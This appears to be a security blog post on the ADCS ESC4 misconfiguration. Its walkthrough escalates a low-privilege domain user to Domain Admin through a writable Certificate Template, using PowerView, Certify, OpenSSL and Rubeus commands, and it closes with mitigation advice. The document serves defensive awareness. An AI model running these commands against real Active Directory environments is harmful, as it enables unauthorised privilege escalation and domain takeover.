Microsoft 365 Security

Active Directory Certificate Services (ADCS) has become more popular with all the recent attacks that has been shared publicly. The folks from SpecterOps shared a whitepaper with all the possible attacks that can lead to compromising an ADCS server. This blog post is not meant to cover all the attacks again, since there are already tons of content available on the internet.

However, the goal of this blog post is to raise awareness once again how a simple AD ACL on a Certificate Template can lead to a full AD forest compromise. This attack has been described by SpecterOps as ESC4.

Vulnerable Certificate Template Access Control – ESC4

Certificate Templates are AD objects in the end of the day. They are stored in the CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com container. We can query all the Child Objects in this container by running the following PowerShell one-liner:

$ChildItems = ([ADSI]"LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com")

$ChildItems.psbase.Children | Select name, msPKI-Certificate-Name-Flag, mspki-certificate-application-policy, msPKI-RA-Signature, mspki-enrollment-flag | Format-List

Since Certificate Templates are AD objects. It means that they have security descriptors that define which permissions are assigned on a Certificate Template. Every Non-Privileged User or Group with the rights to modify a Certificate Template that is published within AD, can elevate their rights to a Domain Admin or equivalent. This can lead to allowing SAN, enable Client authentication EKUs, disable manager approval, and so on.

As an attacker, the following AD ACLs are the ones that we’re primary looking for that have been delegated on a Certificate Template:

Exploiting AD ACLs

At this example, we have a regular Domain User. It has no special privileges or whatsoever. The goal is to go from Domain Users to Domain Admin via ADCS.

The first thing we are going to do is enumerating all the Certificate Templates and the associated permissions that have been delegated. We will be using Certi.py during this example.

certi.py list contoso.com/LowPriv --dc-ip 10.0.0.4

At the sample result, we can see that Domain Users can modify a Certificate Template. The Certificate Template doesn’t contain any Client Authentication EKU or SAN being enabled, but since we have Write permissions. We can modify it.

This is how the result looks in the GUI:

We will be using PowerView to modify this Certificate Template and allow SAN.

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=com" -Identity VPN -XOR @{'mspki-certificate-name-flag'=1} -Verbose

To finalize this step, we are now going to configure this Certificate Template to be vulnerable for domain escalation. This means that we are now going to configure Client Authentication EKU.

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=co
ntoso,DC=com" -Identity VPN -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

This is how the Certificate Template will look now in the GUI:

We can now use Certify to enumerate the Vulnerable Certificate Template

Certify.exe find /vulnerable

The next step is to request a Certificate on behalf of another user. We will be impersonating the account ‘svc_sql’ in this example.

certify.exe request /ca:ADCS.contoso.com\contoso-ADCS-CA /template:VPN /altname:svc_sql

Requesting a certificate via Certify will by default in a PEM format. We will have to convert this to a PFX format in order to request a TGT for the account that we want to impersonate. This can be done with tools like OpenSSL.

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

As we can see here, we are now able to request a TGT on behalf of the user account ‘svc_sql’.

Rubeus.exe asktgt /user:svc_sql /certificate:cert.pfx /ptt

To finalize it, we can add our user now to Domain Admins.

net group "Domain Admins" lowpriv /ADD /DOMAIN

Mitigations

Organizations may have Certificate Templates that allow SAN and support one of the Client Authentication EKUs.

• Certificate Template defines Extended Key Usage (EKU) that enables Client Authentication –> mspki-certificate-application-policy attribute needs to contain at least one of the following: Client Authentication (1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0) or no EKU (SubCA).

If this is the case and it’s required for some reasons. The best mitigation strategy would be to enable CA Manager Approval on those Certificate Templates, and to ensure that only the necessary users are allowed to enroll to this Certificate.

As we can see here, we have a user that can enroll to this Certificate. However, since Manager Approval is enabled. Someone needs to approve this request before this user can enroll to it.

Conclusion

Start treating ADCS as Tier-0 resources. When you have the feeling that ADCS has been compromised. The most important thing is to perform an IR investigation before rebuilding.